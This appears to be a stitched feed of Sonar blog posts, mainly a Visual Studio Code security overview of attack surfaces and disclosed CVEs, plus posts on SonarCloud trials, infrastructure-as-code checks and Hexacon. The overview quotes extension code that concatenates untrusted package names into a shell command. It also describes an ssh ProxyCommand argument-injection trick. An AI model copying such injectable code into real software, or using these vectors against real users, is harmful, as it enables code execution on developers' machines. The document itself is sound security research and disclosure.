By sharing the ground truths and showcasing how Sonar scores on these C# SAST benchmarks, our goal is to bring transparency and help companies make well-informed decisions about their SAST solutions. We strongly believe that by sharing our TPR, FDR, and the ground truths, users will gain a better understanding of the effectiveness and accuracy of Sonar's security analyzers. 

To finish this blog series, we will soon provide Sonar’s scores on the Top 3 Python Benchmarks.

Alex




Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)
Thomas Chauchefoin, Paul Gerste — Tue, 07 Nov 2023 16:00:00 GMT
Last August, we were fortunate to present our work on the security of Visual Studio Code at DEF CON 31, one of the biggest hacker conventions in the world. We received great feedback on our presentation, and the organizers recently released a recording for those who couldn't attend the event:
Watch the video
We wanted to share the content of our talk in a blog post to make it more discoverable and accessible to people who prefer learning with text over videos. Stay tuned for two more publications on November 14th and November 21st, this time bringing new content and new vulnerabilities!
Introduction
The journey of most developers starts with their code editor—and they usually have strong opinions on this topic. Based on StackOverflow's latest developer survey, we learn that about 74% of respondents work or "want to work with" Visual Studio Code (often shortened as VSCode), compared to about 28% of the IntelliJ suite, and more "surprising" numbers like 8.5% for Nano or 22.6% for Vim. Overall, it shows that VSCode is far ahead in this market.

Let's say someone just sent us an archive via email. You extract it and open the folder in your favorite code editor, Visual Studio Code, to inspect it. That should be safe because there are only text files, right?
Watch the video
This calculator isn't expected: it shows that opening this folder somehow led to executing an arbitrary command: Here it was a calculator, but it could have been anything else and potentially malicious.

And while surprising, that's where we were left wondering: what's supposed to be unsafe? There's a general trade-off regarding the security of developer tools. We all want—and love—deep integration with the many language ecosystems, but there's no standard threat model that dictates what we can expect from these tools.

For instance, could installing an IDE weaken the security of my system because it registers privileged services? Can I open somebody else's code without any risk? In our case, that's a fair question: it's our job to read code from external sources.

Another similar question could be: Does my editor run the code I see? It may sound silly at first glance, but it happened with JEB, a Java decompiler platform often used to analyze malware running the current file in a sandbox. And how about more advanced features like VSCode's Remote Development plugin; do server and client have to trust each other? (spoiler: yes)

In general, nobody likes to be surprised when it comes to security, but unfortunately only few software are intentional and explicit about their threat models. Meanwhile, we can also notice that malicious actors increasingly target developers and other technical roles. That makes sense: they have access to source code, secrets, internal services, etc. 

Among recent examples, threat actors allegedly used Plex vulnerabilities to compromise a LastPass DevOps engineer, ultimately leading to a widely covered breach. Google's Threat Analysis Group also attributed a campaign to North Korea during which influential security researchers would receive archives of Visual Studio projects in a message asking for help understanding a vulnerability. If they built it, they would be compromised. 

The goal of this publication is to show you around the attack surfaces of a modern code editor like VSCode and to think about the associated risks and threat models. For this, we first need to understand how VSCode is architectured, and then we can dive deeper into several common sources of risk we saw during our research and other publications. We will cover vulnerabilities in VSCode and popular plugins, either found by the Sonar R&D team or other researchers—they will be credited accordingly in such cases.

It's also important to note that most vulnerabilities require some degree of interaction, which does not diminish their real-world impact because these are part of the usual developer workflow: open a new project or folder, click links, etc. We may call them Remote Code Execution, while a more adequate term could be Arbitrary Code Execution since the attack is carried out from local resources most of the time.

Finally, we can look into the reporting process with Microsoft, where we have an interesting anecdote to share.
Visual Studio Code's Architecture
VSCode is based on Electron, combining the powers of Node.js and the Chromium browser into an application that can use web technologies for its UI while still being able to interact with the operating system. Being powered by web technologies also means that with only a few changes, VSCode can run in your web browser! GitHub does this for their Code Spaces on https://github.dev.

VSCode is also highly extensible due to its extension ecosystem. Everybody can write and publish extensions on the official marketplace, and it is straightforward to implement support for new programming languages and frameworks using the Language Server Protocol.

Most of VSCode is open source, almost 800 thousand lines of code! However, when downloading the official builds from Microsoft, there is also a proprietary portion.

To ensure proper security of the whole IDE, VSCode splits its functionality into different processes. It inherits this process model from Electron, which separates the UI into renderer processes while the OS-level code lives in the main process. The renderer processes are less privileged as they run in the bundled Chromium browser, and the main process is a privileged Node.js application that can directly interface with the OS.

VSCode has not only one but multiple privileged processes. These include the main process that starts and orchestrates all the other processes, the shared process that hosts things like PTYs and file watchers, and the extension host process that runs the privileged part of built-in and third-party extensions.

As mentioned before, the UI is less privileged because, as usual for websites, the UI can't directly write files or spawn child processes. It is confined to a safe set of APIs that the web browsers expose. These less privileged parts must use message-passing interfaces to communicate and integrate with the rest of the application.

Since some of the actions that an IDE's UI will have to trigger will always be security relevant, such as saving a file to a user-specified path or running a build command, the UI is split even further into different parts:


The main UI, called workbench, provides the standard set of VSCode features and can order the privileged processes to perform actions such as saving a file. The workbench does not render user content to make Cross-Site Scripting attacks less likely. If user content has to be rendered, it is usually done in unprivileged webviews that cannot talk to the privileged processes. Since this happens inside a web browser, the Same-Origin Policy also applies and enforces strict isolation.

To communicate between different UI parts, developers can use the regular postMessage() API known from the web. If the UI wants to talk to other processes, they can either do this with MessagePorts or use a preload script and Electron's contextBridge.
Exposed Network Services
Let's start with something that is a significant source of bugs that keeps on happening now and then: exposed network services. Indeed, extensions often need it to communicate with other binaries or components on the system or even with VSCode itself. 

In a perfect world, everybody would be using the right IPC mechanism that wouldn't rely on the network (pipes, UNIX sockets, etc.), but there are still a few rare cases where you need to expose something on the network, just not that often. It is also easier to rely on the network when building cross-platform applications.

The problem is that websites and malicious users on the LAN or the same host (e.g., a multi-user server) may be able to reach these ports. Even if that's only exposed on localhost, that would be considered the safest solution, external websites can trick browsers into sending requests to this service!

A good first example would be Rainbow Fart, an extension that plays sounds as you type in VSCode. It may sound like a silly feature, but this has over 135,000 installs in the Microsoft store. Kirill Efimov of Snyk found that this extension exposes an HTTP server on port 7777, without protection against CSRF attacks. Kirill also identified a ZIP-based path traversal on the endpoint /import-voice-package that allowed him to write files to arbitrary locations. That means that if you visited a malicious website from your browser, it could force Rainbow Far to deploy a new voice package and override files such as .bashrc in your home directory, helping the attacker to execute arbitrary commands on your system.

Another example of this vulnerability existed in the core. The Electron layer of VSCode was exposing a NodeJS debugger on localhost, listening on a random port. This was reported independently by two researchers (@phraaaaaaa and Tavis Ormandy, tracked as CVE-2019-1414). This is quite critical because if you can reach this port and "talk" to the debugger, it's its job to let you run arbitrary JavaScript code. This happens in a privileged context of the application, where one can simply import child_process and execute arbitrary commands. This is not as straightforward to exploit as Rainbow Fart, and likely impossible to exploit with recent browser mitigations against DNS Rebinding and access to local services.
Protocol Handlers
Now, we can spice things up and look into protocol handlers and deep links. This is a useful feature offered by Electron applications,  as Electron provides this native layer that helps integrate with the operating system and its desktop environment. In a way, it's a form of IPC that doesn't rely on the network. In our case, both the core and extensions can register custom protocol handlers. Visual Studio Code has vscode://, and its nightly release has vscode-insider://.

Deep links have interesting practical applications, some of which you may have already used. For instance, it allows this "Open in your IDE" button on GitLab. Under the hood, this is simply a vscode:// link, and the operating system knows it should dispatch it to VSCode, and, here, to the Git extension.


We already covered the attack surface of the Git integration and the discovery of CVE-2022-30129 in Securing Developer Tools: Argument Injection in Visual Studio Code, so we won't describe it again here. For the pleasure of the eyes, this is how it looks like:

Watch the video

There was also a similar finding by Abdel Adim Oisfi (@smaury92) of Shielder in the Remote Development extension with CVE-2020-17148. This is a closed-source extension, so we won't share the source code here, but it was available under vscode://vscode-remote/. Behind the scenes, it calls SSH to establish the tunnel based on several parameters obtained through the deep link. Among them, the host is an important one and is inserted as a positional argument of the call to ssh: ssh -T -D [...] '<HOST>' bash. By crafting a link that tells VSCode Remote Development to connect to a host that starts with a dash, ssh is tricked into thinking this is an option. From here, options like -o allow overriding the SSH client configuration, and directives like ProxyCommand lead to executing an arbitrary command on the victim's system! 

You can find all the details in Shielder's technical advisory, and we added this vector to our project Argument Injection Vectors.
Workspace Settings and Local Data
We can now cover something more specific to VSCode: workspace settings. The IDE supports per-workspace settings that you can commit along with your source code to share it with other developers. For instance, it can be helpful to share linter settings across a company, shortcuts, or even automated tasks. These settings are loaded when the folder is open, so you don't need to click on a special VSCode project to make it happen. Are there sensitive settings in these files?

And the answer is yes, absolutely! The first vulnerability we found on this topic was from the prolific Justin Steven in 2017, where he identified that the official Git integration has a setting to change the path to the git binary. This could point to the current folder, where a malicious binary could have been planted. There were a few pitfalls to overcome to exploit it successfully, but in the end, Justin did it!

Another example comes with CVE-2020-16881, found by David Dworken in the default NPM integration. This time, the extension extracts information from the local file package.json, if it exists. This manifest contains information about software dependencies, and the command npm can be invoked to know more about these: release date, description, version, etc.

There was an issue with how the dependency name was interpolated into the command line. At the time, it was directly concatenated into the command line, leaving the door open for attackers to inject additional commands:

private npmView(pack: string): Promise {
  return new Promise((resolve) => {
    const command = 'npm view ' + pack + ' description dist-tags.latest homepage';
    cp.exec(command, (error, stdout) => {
      if (error) {
        return resolve();
      }
      // [...]
  });
}
extensions/npm/src/features/packageJSONContribution.ts

This was later bypassed by Justin Steven (again!), with CVE-2020-17023. To address the previous issue, Microsoft developers introduced a function named isValidNPMName() with the intent of detecting potentially invalid package names but did not remove the unsafe interpolation. The logic of this function is convoluted, as it does not even address the root cause of the vulnerability. 

Another interesting fact about this validation function is that it would be a fail-open security mechanism: if it's not clear whether this is a dangerous function name or not, consider that it isn't.
private isValidNPMName(name: string): boolean {
   // [...]
   const match = name.match(/^(?:@([^/]+?)[/])?([^/]+?)$/);
   if (match) {
       const scope = match[1];
       if (scope && encodeURIComponent(scope) !== scope) {
           return false;
       }
       // [...]
   }
   return true;
}
extensions/npm/src/features/packageJSONContribution.ts

The main takeaway from these two vulnerabilities is that the IDE shouldn't trust information coming from either workspace settings or project files. Does that mean that we're doomed and that we can't get nice things in VSCode?
Workspace Trust
To tackle the risk caused by workspace settings and extensions trusting malicious data, Microsoft introduced a new feature called Workspace Trust in May 2021. The goal is to reduce the impact of malicious folders and establish new security assumptions. Untrusted folders are considered safe to open in restricted mode, and trusting a folder makes it inherently unsafe and a maliciously crafted project could abuse this to execute arbitrary commands on the host running VSCode.

This works by letting extensions declare at which trust level they can run. Ultimately, extensions that didn't properly go through a security audit before saying they could run with untrusted data can make it easy to get around Workspace Trust—including built-in ones!

We covered this topic in more depth with a vulnerability in the official Git integration in our previous publication, Securing Developer Tools: Git Integrations; expect new findings to be released on November 21st.
Cross-Site Scripting (XSS)
As mentioned earlier, VSCode is partially powered by a web browser, meaning many of the client-side bug classes usually found in the client-side code of web applications also apply here. The main one is, of course, XSS.

Since we already noted that some parts of the UI have to be able to trigger privileged actions in the other parts of VSCode, it becomes clear that XSS vulnerabilities can have even more impact than on regular websites. Additionally, the attack surface increases with each third-party extension users install because each can extend the UI. A typical example is an extension that renders a specific file format.

Let's look at two examples that showcase different ways XSS in a UI component can lead to arbitrary code execution on the system. The first example is CVE-2021-43908, which TheGrandPew and s1r1us discovered. To get all the nitty-gritty details, we highly recommend checking out their blog post and their DEF CON talk.

In short, they discovered that the built-in Markdown preview extension would let them use a <meta> HTML tag to redirect the webview to any website, such as their attacker page. While this doesn't give them access to any privileged APIs yet, it allowed them to run JavaScript that can talk to the postMessage handlers of the surrounding webviews.

That message handler responded to certain messages with the absolute path of the currently opened project. While this information is not too sensitive, it did form an essential part of the next exploit step. The workbench UI is loaded from a different protocol (vscode-file://), served by a custom handler. That handler contained a relative path traversal bug that would allow loading any file from disk via that protocol.

Since the exploit leaked the absolute path of the project folder in the previous step, the attackers could load a malicious HTML file under the privileged workbench protocol. Loading attacker-controlled HTML from that protocol now allowed them to use Node.js's require function to load the child_process module and execute arbitrary commands.

There were other vulnerabilities, such as CVE-2021-26437, discovered by Luca Carettoni, that could be exploited with a similar approach of escalating privileges by going up the webview tree and finally ending up in the privileged part of the UI. However, there exist also other ways that XSS can cause code execution without needing to jump through multiple hoops.

One example of this is CVE-2022-41034, discovered by Thomas Shadwell. He also found a way to execute JavaScript in an unprivileged webview, but instead of going the postMessage() route, he just auto-clicked a command: link.

These links can execute VSCode-internal commands, which are not as powerful as OS commands, but they can lead to the execution of arbitrary OS commands when using the right one. In this case, the workbench.action.terminal.new command was used to spawn an integrated terminal with an attacker-controlled executable and arguments.

The existence of these command: links sparked our interest to look for their other uses in VSCode. We discovered more vulnerabilities while researching this feature, this time in third-party extensions. Stay tuned for next week's blog post to learn more!
Reporting to Microsoft
Now that we've seen a lot of ways that can lead to severe vulnerabilities in VSCode, we'll look at how to report them to Microsoft. The recommended way is to use the vulnerability disclosure platform of Microsoft's Security Response Center (MSRC).

We found it to have better legal terms than most bug bounty platforms, and we had a good experience using it. It is a centralized interface for all steps of the disclosure process, but you can always email MSRC if something doesn't fit into the usual workflow.

The first bug we found was the Git local-level configuration issue (CVE-2021-43891). We reported without expecting a big bounty, but Microsoft awarded us $30,000! Since we were surprised about the amount, we asked them why we got that much but never got an answer.

One year later, we discovered another Git-related bug. This time, it was the argument injection in the protocol handler (CVE-2022-30129). After the issue was triaged, we waited for the bounty decision and got… nothing! After asking them about the difference in bug bounty payout, we got an answer this time:

"Case X was awarded due to our error. VS Code extensions, including those built in, were moved out of scope for bug bounty awards August 2020"

We were surprised to learn that even built-in extensions are not in scope for rewards, even though they are shipped with VSCode and enabled by default. While not leading to more bounties, the entirety of our research got us on the MSRC Leaderboards in Q2 2022, as well as Q2 and Q3 2023.
Conclusion
In this blog post, we learned a lot about VSCode and its security landscape. We started with the code editor's architecture and then looked at five major attack surfaces, namely exposed network services, protocol handlers, workspace settings and local data, workspace trust, and XSS. We also touched on how to report vulnerabilities to Microsoft and our experience.

If you are using VSCode yourself, we want to emphasize that Workspace Trust is here to help. If you see the trust prompt, don't just click on "I trust" to get rid of the annoying dialog. We hope our blog post makes you think twice before trusting that random project you just cloned from GitHub! We like the principle of least surprise, so Workspace Trust is a very welcome addition to protect users.

Finally, we note that many developer tools are not built with security in mind. Many of them have to be retrofitted to meet today's security standards, but the burden of responsibility is still not clear. Is the user responsible for protecting themself, or should the tool be safe by default?

We will release two more blog posts that continue our series on Visual Studio Code's security in the coming weeks. Next Tuesday's article will cover vulnerabilities in third-party extensions used by millions. Stay tuned!
Related Blog Posts
Securing Developer Tools: Argument Injection in Visual Studio Code
Securing Developer Tools: Git Integrations


Linux Foundation Chat: Open Source & Clean Code
Katie Hyman — Tue, 07 Nov 2023 12:00:00 GMT
Sonar is a proud member of the Linux Foundation, an organization committed to helping companies and developers identify and contribute to the projects that matter, providing a neutral, trusted hub for developers to code, manage, and scale open technology projects. 

Recently, Linux Foundation Executive Director Jim Zemlin sat down with Sonar Founder and co-CEO Olivier Gaudin to discuss Clean Code, open source development, and genAI! Listen to their sentiments on these trending topics below, and you can find more information about the Linux Foundation in the Q&A at the end.
PROVIDING FREE ACCESS TO HIGH-QUALITY TOOLS
Jim and Olivier discuss the importance of bringing awareness to the free access of high-quality tools and getting the word out about Sonar's Clean Code solution in the open source community. Olivier highlights how focusing on education and tooling are key factors in this collaborative approach.
">Watch the video
Learn more on how SonarCloud & SonarQube can enhance your open-source projects!
CLEAN AS YOU CODE
Organizations typically change 20% of existing code every year. As complexity grows and software continues to evolve, developers inevitably touch existing code to make new changes. By adopting Sonar’s Clean as You Code approach, developers are able to focus on developing Clean Code and reduce technical debt as it establishes a standard expectation across the organization for all new code — added or changed.
">Watch the video
GENERATIVE AI, DEVELOPER PRODUCTIVITY, AND RISK
The growing popularity of genAI has brought many benefits to developers, greatly increasing productivity for users everywhere. However, Olivier brings up the potential risks junior developers may face in relying too much on AI-generated code, and why having code review tools is essential in avoiding common pitfalls.
">Watch the video
WATCH THE FULL VIDEO HERE!
Watch the full 45-minute video on YouTube, and learn some quick tidbits on the Linux Foundation in the below Q&A.


BlogPost | 9 Steps to get the most out of your SonarCloud Trial
Zoe Bell — Sat, 04 Nov 2023 13:00:00 GMT
Embarking on a SonarCloud trial is the first step towards ensuring your codebase is of the highest quality. But to maximize the benefits, it's essential to approach the trial with a clear plan. In this blog, we'll guide you on how to make the most of your SonarCloud trial period.

Lucky for you, you can start a 14-day trial for your private projects and repositories completely free (public projects are always free). A SonarCloud trial gets you all the features of the application that you can get as a paid subscription. If you’d like to test out SonarCloud before committing to purchase, it’s important that you make the most out of your limited time to get comfortable with the tool and understand if it fits your needs.

Getting started with SonarCloud is easy.  You don’t need to speak with a sales rep or request a license key. Just follow these simple steps to maximize the usage of your SonarCloud trial:
1. Integrate with your Development Environment
Visit the SonarCloud Sign Up page to create your free SonarCloud account through your preferred DevOps development environment. Connect it with your preferred platform, be it GitHub, Bitbucket, GitLab, or Azure DevOps. 

This will enable real-time feedback, making it easier to catch and rectify code issues as they arise. Your SonarCloud signup account is created and bound to your account on the DevOps platform that you choose. In this blog, we will use GitHub as an example, but you can choose a different provider based on your preference. As a new user, SonarCloud will prompt you to connect your GitHub organization with SonarCloud. 

2. Set up your organization in SonarCloud 
You can choose one of your existing organizations, join an organization, or create a new organization. An organization is a space where a team or a whole company can collaborate across many projects. On import, a corresponding organization is created in SonarCloud based on the information you provide. All members from your GitHub organization will be added to your SonarCloud organization. As they connect to SonarCloud with their GitHub account, members will automatically have access to your organization. 
3. Choose your plan 
Next, it’s time to choose your SonarCloud plan. You can start a no-commitment, 14-day trial of SonarCloud for your private repositories completely free by choosing the Paid Plan option. A credit card is required to start your trial. However, please remember that your credit card will not be charged until after your trial has ended and you can analyze private projects for free during your trial period. You will receive an email reminder 3 days before this happens and can cancel your trial at any time! The pricing is based on Lines of Code (LOC) analyzed in private projects. 
4. Select the repository you want to analyze
GitHub projects are grouped into GitHub organizations or personal accounts. The next step is to import the projects (that is, individual Git repositories) that you want to analyze from your GitHub organization into your newly created SonarCloud organization. A corresponding, one-to-one SonarCloud project will be created for each imported repository. SonarCloud will present a list of the repositories in your GitHub organization; choose the projects you want to import and select Set Up to get started. Each imported repository becomes a SonarCloud project. Once you import a project, it appears in your Projects list and is ready to be analyzed.  

The next step is to set the new code definition (NCD) for your project(s). The NCD is a mandatory step and it defines which part of your code is considered new code.  When you do an analysis on your main branch (or other long-lived branches), SonarCloud uses the new code definition to determine which issues you should focus on fixing and highlights these as issues in new code. This helps you to focus your attention on the most recent changes to your code and allows you to follow the Clean as You Code (CaYC) methodology. The guidance to pick the right NCD is provided in the docs.
5. Run your first analysis! 
For GitHub repositories, there are two analysis methods available: Automatic analysis and CI-based analysis. Automatic analysis will be triggered instantly for most languages. You can also set up the analysis on your CI/CD tool in just a few minutes. From now on, all new pull requests and your main branch will be automatically analyzed. It’s that easy! For more information, we encourage you to check out this additional interactive demo which offers a step-by-step walkthrough of automatic analysis of C and C++ projects! Note that SonarCloud supports all the popular programming languages to ensure that all of your needs are covered.

During the next 14 days, you will have access to SonarCloud’s full features and functionalities. We recommend trying out the the next four steps to learn more and getting familiar with SonarCloud. 
6. Explore SonarCloud 
Now that you have completed the first analysis, it is time to explore the SonarCloud user interface and dashboard. The SonarCloud dashboard offers a wealth of information. Spend time understanding metrics like Bugs, Vulnerabilities, and Code Smells that help reduce Technical Debt. By familiarizing yourself with these, you can prioritize the issues that need immediate attention.
7. Quality Profiles and Quality Gates
Quality profiles in SonarCloud are a crucial part of your configuration, as they specify the rules applied during code analysis. Each project can support multiple languages, and SonarCloud automatically selects the appropriate quality profile for each language in that project. To view the defined profiles organized by language, navigate to your organization's Quality Profiles section. 

By default, SonarCloud includes a built-in quality profile for each supported language, referred to as the Sonar way profile (indicated with the "BUILT-IN" tag). This profile activates a set of rules suitable for most projects. Quality Gates are another powerful feature in SonarCloud, allowing you to define criteria that your code must meet before it's merged or released. During your trial, set up a Quality Gate and adjust its criteria to match your objectives. In SonarCloud, code quality and security standards are enforced through quality gates. 

After analysis, the quality gate takes the resulting metrics and compares them to its defined thresholds to determine if the code meets the requirements for release or merge. Every organization has the built-in Sonar way Quality Gate set as the default that is suitable for most projects. If there are cases where you may want to make adjustments, you can create a new quality gate definition and make it available to projects in the organization or set it as the default for all new projects.  To create a new quality gate definition in an organization, you must be an administrator of that organization. 
8. Dive Deep into the Issues 
While running an analysis, SonarCloud raises an issue every time a section of code breaks a coding rule. The set of coding rules is defined through the associated quality profile for each language in the project. Instead of just skimming through the reported issues, dive deep. Understand why a particular piece of code is flagged, learn from the explanations provided, and apply the recommendations. It's an educational journey that will improve your coding skills. To see an example of how Learn as You Code is implemented within SonarCloud, check out our interactive demo.

9. Explore the PR Analysis
One of SonarCloud's standout features is Pull Request (PR) analysis. Test this feature by creating a PR in your repository. This ensures that every piece of code introduced is analyzed before merging, making your main branch more resilient. SonarCloud decorates the pull request interface of the repository service (GitHub and others), providing the results of its code analysis on the PR branch right in the interface and granting or denying approval of the pull request depending on quality gate criteria. In effect, this augments human code review with automatic code review. 
Additional Tips for Your SonarCloud Trial Period

Here are some of our recommendations to ensure that you are taking advantage of SonarCloud has to offer these next two weeks:

Get your whole team involved! 
This doesn’t have to be a party for one! With SonarCloud, you can add an unlimited number of users to your private organization, even during your trial period. Membership of an organization is managed on the Members page. This is a great way to test SonarCloud for its team benefits.

Get Familiar with SonarCloud’s Core Concepts
SonarCloud offers tutorials covering many of the tool’s core concepts - Clean as You Code, New vs Overall Code, Quality Gates, and Pull Requests. These lessons will help you understand the core concepts behind SonarCloud, enabling you to get the most out of the product. To start these tutorials, click on the question mark in the navigation and click on “Core Concepts.” 

SonarLint IDE integration
Add the SonarLint extension to your favorite IDE and find code issues on the fly. SonarCloud rules and analysis settings synchronize to SonarLint, aligning teams around a single standard of Clean Code.

To recap, at a high level, during your SonarCloud trial, you can expect the following: 
The ability to analyze both public and private projects. If you only want to analyze public projects, you do not need to start a trial, as this is always free
The ability to add unlimited members to your free or private organizations
Access to all SonarCloud features and functionalities
In-product tutorials and notifications that cover key concepts
Coverage for all the popular programming languages
Email notifications for when your credit card will be charged so that you can cancel at any time
SonarLint IDE integration
Community Support
And more!

What are you waiting for? SonarCloud helps you consistently deliver cleaner, safer software that future developers will appreciate and your users will love, and getting started with your private and public projects couldn’t be easier! Visit the SonarCloud Sign Up page to create your free SonarCloud account through your preferred DevOps platform and start your 14-day trial. In no time, you’ll be writing clean, issue-free code that’s ready for production! 




BlogPost | Shifting Right for Secure Platforms and DevOps
Ben Dechrai — Wed, 25 Oct 2023 13:00:00 GMT
I still remember in the early days of my software engineering career, working with the systems administrators to set up Subversion commit hooks to automatically reject commits that didn’t pass tests. Heck, I even wrote a tool that would convert spaces to tabs on commit, and back to spaces on check out, based on the preferences of the individual developer. As a recovering people-pleaser, I can admit that was probably overkill. (Oh, I might be showing my age; Subversion is what we used back before Git was a thing.)

But what was real overkill, was that the tests which ran on the code repository server took a few minutes, which would cause the commit process to hang until they were finished. I drank a lot of coffee on heavy-commit days!

I was trying to catch failures for tests that the developers didn’t run. And because these commit hooks had to be completed before you could carry on coding, the delays incurred were more frustrating than the inconvenience of having to wait to find out when staging environment builds failed.

Roll on 20 years, and we’re still trying to solve the same issues, albeit with much more success than in the early 2000s. We’re testing right in our development environments, and even have the ability to let a remote stakeholder look at the application running on our machine before even committing changes to the code repository.

We’ve been shifting left for decades. In fact, you might be surprised that “shift left” as a term was actually coined in 2001 when Larry Smith introduced the idea of testing early in the development lifecycle.

I'd like to propose the idea that, while we’ve been shifting left in the software development lifecycle for decades, developer tooling has more recently expanded its focus to include the righthand side of the software deployment lifecycle.
Defining “Shift Left”
In essence, “shift left” is a practice that aims to identify and fix defects as early as possible in the development process. This can be done by shifting testing, security, and other quality assurance activities earlier in the process. Shifting left lets you identify and fix defects early, leading to:

Reduced costs
Improved software quality
Increased speed of software development
Reduced risks of software failures
How can Clean Code help?
If you’re a frequent reader of the Sonar blog, you’ll probably know that we’re huge proponents of writing Clean Code. We don’t do this just to measure code quality as a way to increase maintainability and readability of the code for the future; we also love detecting bugs, code smells, and vulnerabilities before they get into production. This is the ultimate in shift-left approaches, but it’s not just about the code we write, it’s about what happens to that code next.
The Way We Deploy
What’s interesting today, compared to 20 years ago, is the way we deploy our code, from staging to production. I remember asking our systems administrator to provision a new virtual host on one of our Apache-based web servers. Sometimes, I’d even ask her for a whole new server! (And sometimes I’d do it myself on a server hiding under my desk. Hey, WWW stood for Wild West Web back then!)

And when it came to software deployment, continuous integration meant using WinFTP to transfer the files across manually. Having a server perform an `svn pull`, or even pull files automatically via FTP, was considered bleeding edge!

Of course, nowadays, we have little idea of what goes on under the hood. When I push code to a GitLab repository, and my Continuous Integration and Continuous Deployment (CI/CD) pipeline starts a new deployment process into a new virtual machine, I’d like to believe it’s completely autonomous and automated, but I have no idea if it’s actually kicked off by a caffeine-powered human somewhere in the world. It’s possible that I owe someone a lot of coffees.

But in all seriousness, in order to deploy autonomously and consistently, we’re using Infrastructure as Code (IaC) nowadays, from Kubernetes templates to Docker configuration. These can also be tested, reviewed, secured, and because they are considered code, can even be tested for “clean code”.
Testing the Code of Infrastructure
If we can define our infrastructure as code, we can test it. Perhaps not quite in the same way as we would test an NPM module or C++ class, but we can test it for cleanliness. By testing this type of code, we can also detect bugs and vulnerabilities in the resulting software.

While this can be done during the coding phase of the development lifecycle, the benefit still firmly sits on the righthand side. Compare this to testing, for example, which is both performed earlier in the process, and also benefits the earlier stages of the process, CI/CD code checking can be performed earlier, but doesn’t benefit us until later.

This is the “shift right” aspect to which I’m alluding in this article. While we’ve benefitted from “shift left” for quite some time now, we’re also seeing the tools we use broadening their focus to include the right side of the deployment lifecycle. That is, we’re still performing the development and testing up-front, but we’re also seeing IDE plugins like SonarLint, and CI/CD pipeline tools like SonarQube and SonarCloud help identify issues that won’t actually manifest until the software is deployed in staging or production.

Let’s have a look at two examples of such issues that wouldn’t have a big impact during the local development process: secrets detection and platform configuration.
Secrets Detection
Secrets are typically pieces of confidential data that should be kept secure, such as API keys, passwords, cryptographic keys, access tokens, and other credentials.

The primary goals of secrets detection in the testing phase are:

To prevent sensitive information from being inadvertently exposed or leaked, which could lead to security breaches or unauthorized access to systems and data.
To ensure that software applications comply with security best practices and regulatory requirements, such as the General Data Protection Regulation (GDPR) or the Payment Card Industry Data Security Standard (PCI DSS).
To reduce the risk associated with secrets exposure, which can have significant financial and reputational consequences for organizations.

It’s common sense that you should never store secrets in your code, even temporarily in your local development environment, as the likelihood of us forgetting and committing to a code repository are high. That said, it still happens from time to time, and that’s where issues can quickly bubble up to production, or even into third-party tools that are involved in the CI/CD pipeline.

SonarLint can help identify these situations while you’re coding, whether they’re application-specific secrets, or access keys for authorizing the application to a third party. Take the following screenshot for example, in which AWS access keys and secrets could have been inadvertently committed and propagated to many other systems. Detecting these while you’re coding is an invaluable tool to protect against future security concerns.
Platform Configuration Issues and Security Code Smells
When building a house, you might choose to install the most advanced security systems, fortified doors, and unbreakable windows. But if your foundations aren’t solid, stable, and built on reliable ground, the entire structure is vulnerable to collapse, rendering all those security measures futile.

And so it is that, whether you’re deploying to AWS, Azure, or Google platforms, the security of your platform is paramount to the security of your application.

When configuring the platform on which your application is going to reside, it can often be tempting to simplify the security aspects in order to speed up the development process. But, all too often, such shortcuts in the beginning can be overlooked when pushing the application to QA and production.

In other cases your production ready configuration might inadvertently contain a human-created error, or a recent change or newly discovered vulnerability is now activated and your previously safe configuration is now insecure.

Take this example of a scope permission vulnerability in Azure with a secondary location:
Or this authentication vulnerability in AWS:
Discovering these as early as possible is what “shift left” is all about. That you’re protecting yourself against issues that won’t eventuate until later in the deployment lifecycle is what I’m referring to as “shift right”.
Why Not Try For Yourself?
Getting started is easy. Checkout Sonarpedia to see our rules for CloudFormation, Docker, Kubernetes, Terraform, and more. Or better yet, try them out yourself in SonarLint, SonarQube or SonarCloud. Please visit our Community to give us feedback and to grab the latest product news.
Related Blog Posts
Why I’m passionate about Static Analysis and how I helped make it better
What is Clean Code?
ISMG Interview - Securing Applications, Accelerating DevOps with Clean Code


BlogPost | Highlights from Hexacon 2023
Stefan Schiller — Wed, 18 Oct 2023 22:00:00 GMT
Hexacon, now in its second iteration, stands as a premier IT security conference. Despite its relative youth, this event has quickly gained recognition as a prominent platform for cybersecurity professionals and enthusiasts. It serves as a hub for discussing highly technical content in the field of offensive IT security. 

Participants have the opportunity to learn about the latest vulnerabilities and exploitation techniques, share knowledge, and network with like-minded individuals, making it a must-attend event for anyone passionate about IT security, like Sonar's AppSec Researchers and Vulnerability Researchers.
Hexacon 2023 - Venue and Events
The conference took place in the Palais Brongniart in Paris, France. With a historical significance dating back to its construction in 1808 instigated by Napoleon Bonaparte, this building is now one of the leading congress and event centers in Paris. This impressive building provided an opportune atmosphere for a highly professional conference like this.
The actual conference was preceded by four days of on-site training offering different topics such as Attacking the Linux Kernel, iOS for Security Engineers, or Practical Baseband Exploitation. For hands-on focused participants, the conference was enriched by three different challenges in the categories IoT, Web/Crypto, and RE/pwn. For those participants who were interested in networking, the social event of Friday evening provided a very pleasant opportunity to do so.
Hexacon 2023 - Talks
The single-tracked setup offered a variety of 15 different talks throughout the two days of the conference. Here are a few of our personal highlights:
Cheng-Da Tsai, aka Orange Tsai, invited the audience on an educational and entertaining journey of discovering and exploiting vulnerabilities in the Sonos One Speaker in the talk “A 3-Year Tale of Hacking a Pwn2Own Target: The Attacks, Vendor Evolution, and Lesson Learned”. Instead of focusing only on technical details, the talk outlined the general approach and highlighted the emotional ups and downs of vulnerability research.

The talk “Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization” by Piotr Bazydło went beyond the usual exploitation strategies of deserialization vulnerabilities. Piotr emphasized the fundamental downsides of block lists by demonstrating different bypasses and even detailed bypass approaches applicable when allow lists are in place by leveraging nested deserialization. Furthermore, he showcased that even the re-serialization of objects can be leveraged by attackers. More details can be found in the related whitepaper.

Simon Scannell presented his impressive research on the Antivirus engine ClamAV in the talk “You have become the very thing you swore to destroy: Remotely exploiting an Antivirus engine”. Simon’s talk did not only explain the complex vulnerabilities he discovered in ClamAV but also detailed a unique exploit technique to bypass ASLR and eventually gain remote code execution.

The Hazards of Technological Variety and Parallelism: An Avocado Nightmare
